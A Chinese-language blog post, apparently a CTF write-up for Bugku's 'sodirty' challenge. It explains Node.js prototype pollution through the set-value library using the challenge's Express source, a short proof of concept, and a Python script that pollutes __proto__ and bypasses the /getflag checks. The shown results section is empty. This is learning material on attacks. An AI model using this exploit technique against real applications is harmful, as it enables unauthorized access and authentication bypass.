V3D4's Blog

安全技术记录/分享/交流

0%

Bugku-sodirty

是道nodejs原型链污染题,之前一直觉得好难没有学习过,今天大致看了下,稍微能看懂一点了,主要还参考了dota_st师傅的这个wp,师傅tql

这里也就简单写写吧,首先是个简单的页面,有个注册功能,扫描下路径得到www.zip的源码,找到里面的index.js源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
var express = require('express');
const setFn = require('set-value');
var router = express.Router();


const Admin = {
"password":process.env.password?process.env.password:"password"
}


router.post("/getflag", function (req, res, next) {
if (req.body.password === undefined || req.body.password === req.session.challenger.password){
res.send("登录失败");
}else{
if(req.session.challenger.age > 79){
res.send("糟老头子坏滴很");
}
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}else {
res.send("密码错误,请使用管理员用户名登录.");
}
}

});
router.get('/reg', function (req, res, next) {
req.session.challenger = {
"username": "user",
"password": "pass",
"age": 80
}
res.send("用户创建成功!");
});

router.get('/', function (req, res, next) {
res.redirect('index');
});
router.get('/index', function (req, res, next) {
res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
if(req.session.challenger === undefined){
res.redirect('/reg');
}else{
if (req.body.attrkey === undefined || req.body.attrval === undefined) {
res.send("传参有误");
}else {
let key = req.body.attrkey.toString();
let value = req.body.attrval.toString();
setFn(req.session.challenger, key, value);
res.send("修改成功");
}
}
});

module.exports = router;

之前完全不会js,百度了下大概知道了代码中的一些意思

首先最关键的就是找到原型链污染的点,这里是setFn(req.session.challenger, key, value);这里,具体的poc是这个

https://snyk.io/vuln/SNYK-JS-SETVALUE-45021

1
2
3
const setFn = require('set-value');
setFn({},'__proto__.p1',"hacked");
console.log({}.p1);

通过setFn后,这里obj对象的原形中p1的值就变成了hacked,使别的对象也能访问到这个变量p1和它的值,因为nodejs访问变量是层层递进的,自己没有就去原型中找

然后就是关于req.body,这个是nodejs中取参的一种方式,类似php的$_GET,req.body.attrval.toString();就表示接受用户传入的attrval变量,具体可以看看这个

接下来看代码

可以看到最关键的/getflag部分,需要绕过两个地方,一个是age要小于79,还有一个就是Admin[key]===password

age很好绕,只要通过update改掉就行了

Admin中只有一个属性,就是键process.env.password中的值password,很显然,我们并不知道系统变量中password的值,所以我们必须往原型链的下一个object对象中添加一个键和值,这也就可以是Admin[我们传入的key]===我们传入的password了

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

s = requests.session()
header = {'Content-Type': 'application/json'} #header类型必须设置为json
url = 'http://114.67.246.176:13093/'

r = s.get(url+'reg') #必须先注册,不然下一步会被重定向到reg
print(r.text)

payload1 = {'attrkey': '__proto__.pwd',
'attrval': '123'} # 增加原型链下一个object的pwd属性值为123,因为原型链一直会向下查找,所以可以找到Admin['pwd']属性的值
r = s.post(url=url + 'update', headers=header, json=payload1)
print(r.text)

payload2 = {'attrkey': 'age',
'attrval': '10'} # 修改年龄
r = s.post(url=url + 'update', headers=header, json=payload2)
print(r.text)

payload3 = {'key': 'pwd', 'password': '123'} # 传入key和password
r = s.post(url=url + 'getflag', headers=header, json=payload3)
print(r.text)

结果

1